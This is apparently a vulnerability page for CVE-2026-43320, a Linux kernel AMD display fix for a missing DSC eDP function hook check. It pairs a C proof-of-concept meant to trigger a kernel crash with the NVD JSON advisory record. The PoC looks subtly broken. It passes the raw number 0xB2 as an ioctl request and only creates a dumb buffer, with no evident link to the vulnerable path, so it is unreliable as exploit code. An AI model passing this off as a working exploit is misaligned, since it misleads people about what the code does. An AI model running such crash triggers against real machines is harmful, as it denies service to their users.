CVE-2026-43320

// PoC for CVE-2026-43320: Kernel crash due to missing hook check // This code attempts to trigger the vulnerable path in drm/amd/display. #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // Standard DRM IOCTL definitions usually found in libdrm headers #define DRM_IOCTL_MODE_CREATE_DUMB 0xB2 struct drm_mode_create_dumb { uint32_t height; uint32_t width; uint32_t bpp; uint32_t flags; uint32_t handle; uint32_t pitch; uint64_t size; }; int main() { int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Attempting to trigger DSC eDP hook check issue...\n"); // Attempting to manipulate display settings to hit the vulnerable path struct drm_mode_create_dumb create_dumb; memset(&create_dumb, 0, sizeof(create_dumb)); create_dumb.width = 1920; create_dumb.height = 1080; create_dumb.bpp = 32; if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create_dumb) < 0) { perror("IOCTL failed"); } else { printf("IOCTL executed. Check dmesg for potential kernel panic or oops.\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43320", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:40.593", "lastModified": "2026-05-15T18:20:43.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix dsc eDP issue\n\n[why]\nNeed to add function hook check before use"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.10.13", "versionEndExcluding": "6.11", "matchCriteriaId": "B88D322F-6F03-45A1-8C58-9E45EAB64B13"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.11.2", "versionEndExcluding": "6.12.75", "matchCriteriaId": "CB5072BD-CA53-4BD0-978D-515B61876729"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.12:-:*:*:*:*:*:*", "matchCriteriaId": "0E698080-7669-4132-8817-4C674EEBCE54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0481be9f12d8324789ccebf1e5fd0704b6e3fc99", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/11718976c53a258c4d107aa05d68773379d0006f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/878a4b73c11111ff5f820730f59a7f8c6fd59374", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c10fe9471f3aa352bb9d9329d0b25e28e0672243", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}